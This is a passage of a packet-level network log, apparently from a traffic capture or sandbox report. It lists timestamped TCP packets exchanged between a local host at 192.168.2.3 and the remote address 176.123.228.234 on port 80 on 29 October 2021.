Oct 29, 2021 20:29:58.629889965 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.631683111 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.631712914 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.631736040 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.631763935 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.631778955 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.631789923 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.631815910 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.631840944 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.631865978 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.631900072 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.631906986 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.631994009 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.689924955 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.689954042 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.690042973 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.699744940 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.699829102 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.699934006 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.705997944 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.706022978 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.706206083 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.706229925 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.706289053 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.706315994 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.709708929 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.709855080 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.709908009 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.711664915 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.711699009 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.711728096 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.711756945 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.711786985 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.711805105 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.711817026 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.711822033 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.711848021 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.711878061 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.711927891 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.711934090 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.713762999 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.713946104 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.714029074 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.714202881 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.719743013 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.719778061 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.719909906 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.727760077 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.727818966 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.728066921 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.761740923 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.761810064 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.761857033 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.767806053 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.768249989 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.771889925 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.771936893 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.772037983 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.772211075 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.776187897 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.776272058 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.778983116 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.779011965 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.779047012 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.779082060 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.779118061 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.779156923 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.779190063 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.781913042 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.781943083 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.782027960 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.783670902 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.783704042 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.783732891 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.783742905 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.783762932 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.783781052 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.783797979 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.783812046 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.783833027 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.783860922 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.783930063 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.783948898 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.783979893 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.784013987 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.784132004 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.824883938 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.863866091 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.863917112 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.864038944 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.865674973 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.865715981 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.865755081 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.865828037 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.865833044 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.865920067 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.865946054 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.865957975 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.866023064 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.866035938 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.866065025 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.866134882 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.866211891 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.867742062 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.867784977 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.867861986 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.867867947 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.867979050 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.907738924 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.911729097 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.911832094 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.912347078 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.913683891 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.913708925 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.913726091 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.913743019 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.913758993 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.913774967 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.913789034 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.913816929 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.913822889 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.913904905 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.913992882 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.917737007 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.917761087 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.918608904 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.961817980 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.983875990 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.984030008 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.012590885 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.015875101 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.015908003 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.016062975 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.017713070 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.017745972 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.017767906 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.017790079 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.017811060 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.017833948 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.017854929 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.017874002 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.017936945 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.017941952 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.019685030 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.019712925 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.019735098 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.019757986 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.019778967 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.019800901 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.019802094 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.019824028 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.019829035 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.019834042 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.019854069 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.019876003 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.019891024 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.019939899 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.020890951 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.025815010 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.025835037 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.025989056 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.027715921 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.027745962 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.027770042 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.027793884 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.027817011 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.027832031 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.027837992 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.027862072 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.027885914 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.027890921 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.029700994 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.029732943 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.029756069 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.029778957 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.029793978 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.029802084 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.029812098 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.029824972 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.029849052 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.029869080 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.029882908 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.029889107 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.029892921 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.029917002 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.030961990 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.031752110 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.031783104 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.031825066 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.031831026 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.031856060 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.031878948 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.031898975 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.031941891 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.031960964 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.031958103 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.032068968 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.032092094 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.032140970 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.032217026 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.055869102 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.061875105 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.061909914 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.064044952 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.065826893 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.065854073 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.066169977 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.067701101 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.067728996 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.067753077 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.067796946 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.067802906 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.067816973 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.067841053 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.067864895 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.067888021 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.067909956 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.067922115 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.067929029 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.069665909 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.069695950 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.069717884 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.069742918 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.069762945 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.069771051 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.069781065 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.069812059 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.069818020 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.069854021 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.069858074 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.069932938 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.069957018 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.070010900 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.070023060 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.070081949 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.070132971 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.154059887 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.154134989 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.154176950 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.154215097 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.164125919 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.164169073 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.164208889 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.164309978 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.164334059 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.167813063 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.167854071 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.168205976 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.195955992 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.198642015 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.198692083 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.198729992 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.198832035 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.198858023 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.199227095 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.199270010 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.199311018 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.199327946 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.199352980 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.199395895 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.199417114 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.199445963 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.199736118 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.199768066 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.200061083 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.200103998 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.200170040 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.200213909 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.200246096 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.200474977 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.203771114 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.203804016 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.204206944 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.205699921 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.205730915 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.205756903 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.205785036 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.205807924 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.205883980 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.205918074 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.205946922 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.205975056 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.206001997 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.206017017 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.206027985 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.206630945 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.206705093 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.227809906 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.231782913 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.231935978 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.255892038 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.255923986 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.255947113 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.256026983 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.256113052 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.256141901 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.257869959 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.257945061 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.257997036 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.259695053 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.259727001 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.259747028 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.259768963 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.259789944 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.259812117 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.259824991 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.259831905 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.259839058 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.259865046 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.259959936 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.260832071 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.262514114 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.262708902 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.262813091 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.262949944 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.263430119 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.263712883 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.263762951 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.263809919 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.263828039 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.263942003 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.263963938 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.264018059 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.264059067 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.264096022 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.264106035 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.264153957 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.264199018 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.264221907 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.264380932 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.264404058 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.264425039 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.264425039 CEST	49863	80	192.168.2.3	176.123.228.234
